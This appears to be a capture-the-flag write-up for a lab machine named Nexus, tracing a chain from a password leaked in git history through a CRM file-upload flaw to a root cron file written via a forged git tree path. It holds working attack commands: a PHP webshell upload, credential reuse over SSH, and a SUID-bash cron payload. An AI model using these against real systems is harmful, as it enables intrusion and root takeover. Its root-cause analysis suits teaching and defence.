← Back to posts
English · Ελληνικά
Nexus is a chain of small leaks that add up. A vhost sweep turns up a Gitea instance and a Krayin CRM billing portal. Gitea hosts a krayin-docker-setup repo whose first commit still contains a password in .env — reused for the CRM admin. Krayin 2.2.0 is vulnerable to CVE-2026-38526, an authenticated TinyMCE upload with no type check, so a PHP webshell lands in a web-served directory and gives www-data. A second .env on disk yields yet another reused password — SSH as jones. The root step is the interesting one: a root-run "template sync" script pulls files out of Gitea template repos and writes each blob to os.path.join(staging, filepath), where filepath is the git tree entry name. Git normally refuses ../ and leading-slash paths — but you can hand-forge a tree object whose entry name is an absolute path, and os.path.join throws away the staging prefix the moment it sees a leading /. That's an arbitrary root file-write, which becomes a cronjob and a root shell. All driven from macOS.
vhost fuzz
→
Gitea .env leak
→
Krayin CVE-2026-38526
→
www-data
→
.env → SSH jones
→
git tree-path write → root
Reconnaissance
Two ports, and the web root redirects to a hostname — a hint to start fuzzing vhosts, not paths.
nmap
$ nmap -Pn -sV -p- --min-rate 2000 <IP>
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu) # redirects to http://nexus.htb/
The main site is static — the only thing of note is an email, j.matthew@nexus.htb, in a careers section. Directory brute-forcing finds nothing, so pivot to virtual-host discovery with ffuf, filtering out the default response size:
ffuf — vhost fuzzing
$ ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \
-w dns-Jhaddix.txt -fs 154
billing [Status: 302, Size: 390]
git [Status: 200, Size: 14472]
Add nexus.htb, billing.nexus.htb and git.nexus.htb to /etc/hosts (or drive everything with curl -H "Host: …", which is what I did to keep things scriptable).
Gitea — a password in the first commit
git.nexus.htb is a Gitea instance with one public repo, admin/krayin-docker-setup. Gitea's API makes commit history trivial to walk without a browser:
enumerate repo + commits (API)
$ curl -s -H "Host: git.nexus.htb" \
"http://<IP>/api/v1/repos/admin/krayin-docker-setup/commits" | jq -r '.[].sha'
9b817fa4… # latest
1615c465… # initial
The .env at HEAD has an empty DB_PASSWORD — but secrets committed once don't disappear when you edit the file, they just move down the history. Fetching .env at the initial commit tells a different story:
.env at the first commit
$ curl -s -H "Host: git.nexus.htb" \
"http://<IP>/admin/krayin-docker-setup/raw/commit/1615c465…/.env" | grep -i pass
DB_PASSWORD=N27xh!!2ucY04
Krayin CRM — CVE-2026-38526 → www-data
billing.nexus.htb is a Krayin CRM admin login. The email from the careers page plus the leaked password gets us in — Laravel's login just needs a valid _token pulled from the login form first:
authenticate to Krayin
$ curl -s -c cj -H "Host: billing.nexus.htb" http://<IP>/admin/login # grab _token + cookie
$ curl -s -b cj -c cj -H "Host: billing.nexus.htb" -D - -o /dev/null \
--data-urlencode "_token=$TOKEN" \
--data-urlencode "email=j.matthew@nexus.htb" \
--data-urlencode "password=N27xh!!2ucY04" http://<IP>/admin/login
HTTP/1.1 302 Found
Location: http://billing.nexus.htb/admin/dashboard
The version (2.2.0, shown under the profile menu) is vulnerable to CVE-2026-38526 — the /admin/tinymce/upload endpoint performs no server-side type or extension validation, and writes into the web-served /storage/tinymce/. So an authenticated user can upload a .php file (spoofing an image MIME to look normal) and then execute it with a plain GET. Rather than the public PoC's reverse shell, I uploaded a small scriptable webshell — no listener to babysit:
upload webshell → RCE
$ printf '<?php system($_GET["c"]); ?>' > sh.php
$ curl -s -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $TOKEN" \
-F "_token=$TOKEN" -F "file=@sh.php;filename=sh.php;type=image/png" \
http://<IP>/admin/tinymce/upload
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/1b9c0b4a….php"}
$ curl -s -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/1b9c0b4a….php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral — a second .env → SSH as jones
/etc/passwd shows a real user, jones, whose home we can't read as www-data. But the deployed app carries its own live .env, and it holds a different password from the one in git:
read the on-disk .env
$ curl -s -H "Host: billing.nexus.htb" \
"http://<IP>/storage/tinymce/1b9c0b4a….php?c=grep+PASS+/var/www/krayin/.env"
DB_PASSWORD=y27xb3ha!!74GbR
Password reuse does the rest — that value is jones's SSH password. First thing in, drop an SSH key so the foothold is a stable ssh -i rather than a fragile session:
SSH + user.txt
$ sshpass -p 'y27xb3ha!!74GbR' ssh jones@<IP> \
"mkdir -p ~/.ssh; echo '$(cat key.pub)' >> ~/.ssh/authorized_keys"
$ ssh -i key jones@<IP> 'id; cat ~/user.txt'
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
[redacted — user flag]
Root — abusing git tree-entry paths in a root sync script
No sudo for jones. The lead is in /etc/systemd/system: a timer fires a root oneshot every minute.
the root timer
$ cat /etc/systemd/system/gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py # + a .timer, every 1 min
The script (world-readable) queries Gitea for every repo marked as a template, then for each one runs git ls-tree -r HEAD on the bare repo and copies each blob into a staging directory. Here's the whole vulnerability, in three lines:
template-sync.py (excerpt)
stage_path = os.path.join(STAGING_DIR, owner, name)
...
for mode, objhash, filepath in entries: # filepath = git tree-entry name
target = os.path.join(stage_path, filepath)
...
with open(target, 'wb') as f: # written as ROOT
f.write(cat_result.stdout)
filepath is attacker-controlled — it's whatever name a tree entry carries — and it flows straight into os.path.join. The quirk that makes this fatal:
os.path.join and a leading slash
>>> os.path.join('/home/git/staging/jones/pwn', 'a/b.txt')
'/home/git/staging/jones/pwn/a/b.txt'
>>> os.path.join('/home/git/staging/jones/pwn', '/etc/cron.d/pwncron')
'/etc/cron.d/pwncron' # absolute component discards the prefix
So if I can get a tree entry whose name is /etc/cron.d/pwncron, the root process writes my file straight into /etc/cron.d. The blocker is that Git's plumbing (and Gitea's push checks) reject ../ and leading-slash pathnames the normal way. The way through is to forge the git objects by hand — build a raw tree object whose entry name is the absolute path, using hash-object --literally, which skips the sanity checks:
forge the malicious tree + commit
# payload the root cron will run: SUID-copy bash
$ printf '* * * * * root /tmp/.copybash.sh\n' > cronfile
$ BLOB=$(git hash-object -w --stdin < cronfile)
# a tree entry: mode 100644, NAME = an absolute path, pointing at that blob
$ PH=$(echo -n "$BLOB" | xxd -r -p) # 20 raw bytes of the hash
$ TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$PH" \
| git hash-object -w -t tree --literally --stdin)
$ COMMIT=$(git commit-tree "$TREE" -m pwn)
$ git update-ref refs/heads/main "$COMMIT"; git ls-tree -r HEAD
100644 blob … /etc/cron.d/pwncron
Now create a repo as jones, mark it a template (that's the flag the sync script filters on), and push the forged history. The /tmp/.copybash.sh the cron references just copies bash and sets the SUID bit:
stage payload, create template repo, push
$ printf '#!/bin/bash\ncp /bin/bash /tmp/.rootbash\nchmod 4755 /tmp/.rootbash\n' \
> /tmp/.copybash.sh; chmod a+rx /tmp/.copybash.sh
$ curl -su jones:$PW -X POST localhost:3000/api/v1/user/repos -d '{"name":"pwn"}'
$ curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}'
$ git push -f http://jones:$PW@localhost:3000/jones/pwn.git main
Within a minute the root timer syncs the "template", os.path.join resolves the entry name to /etc/cron.d/pwncron, and root writes it. Cron runs the SUID copy, and bash -p keeps the root EUID:
root.txt
$ tail -2 /var/log/template-sync.log
[…] synced: /etc/cron.d/pwncron
[…] Template sync complete
$ ls -l /tmp/.rootbash
-rwsr-xr-x 1 root root 1446024 /tmp/.rootbash
$ /tmp/.rootbash -p -c 'id; cat /root/root.txt'
uid=1000(jones) gid=1000(jones) euid=0(root)
[redacted — root flag]
The bug isn't os.path.join — it's trusting a filename from an untrusted source as a write target. A git tree entry name is attacker data; feeding it to a path join that a leading slash can hijack turns "sync some template files" into arbitrary root file-write. Two independent guards would each have stopped it: joining with the basename only (or rejecting absolute/.. components after the join), and running the sync as an unprivileged service account instead of root.
Why it worked
| Stage | Root cause |
| → git .env | Secret committed to version control; scrubbing HEAD leaves it in history (CWE-538 / CWE-312) |
| → Krayin admin | Password reuse across the DB config and the CRM admin account (CWE-521 / CWE-798) |
| → www-data | CVE-2026-38526 — unrestricted file upload, no type/extension check, into a web-served dir (CWE-434) |
| → jones | Another reused password sitting in the deployed app's .env (CWE-522) |
| → root | Root sync writes to an untrusted git tree-entry path; an absolute path escapes the staging dir (CWE-22 / CWE-250) |
Operator notes — from macOS
- No reverse shells. A scriptable webshell (
?c=) covered the www-data step, and an SSH key covered jones — both stable and non-interactive, so nothing to babysit across a VPN.
- Host headers beat
/etc/hosts churn. Every web request used curl -H "Host: …", so no sudo was needed to test the three vhosts.
- The root exploit is git plumbing, not tooling. Nothing macOS-specific —
git hash-object -t tree --literally and commit-tree forge the object graph identically everywhere; the trick is understanding that a tree entry's name is just a string in a blob you can author yourself.
- Old secrets live in old commits. Always fetch sensitive files at the first commit, not just HEAD — a cleaned-up
.env at the tip is the classic misdirection.
Key commands
quick reference
# 1. vhosts → git + billing
ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w dns-Jhaddix.txt -fs 154
# 2. password from the FIRST commit's .env (not HEAD)
curl -s -H "Host: git.nexus.htb" "http://<IP>/admin/krayin-docker-setup/raw/commit/<first-sha>/.env"
# 3. Krayin CVE-2026-38526: authed TinyMCE upload → webshell
curl -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $T" -F "_token=$T" -F "file=@sh.php;type=image/png" http://<IP>/admin/tinymce/upload
# 4. on-disk .env → SSH as jones (user.txt)
curl -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/<hash>.php?c=grep+PASS+/var/www/krayin/.env"
# 5. root: forge an absolute-path git tree → root cron via template-sync
BLOB=$(git hash-object -w --stdin < cronfile)
TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$(echo -n $BLOB|xxd -r -p)" | git hash-object -w -t tree --literally --stdin)
git commit-tree $TREE -m x | xargs -I{} git update-ref refs/heads/main {}
curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}'; git push -f http://jones:$PW@localhost:3000/jones/pwn.git main
/tmp/.rootbash -p -c 'cat /root/root.txt'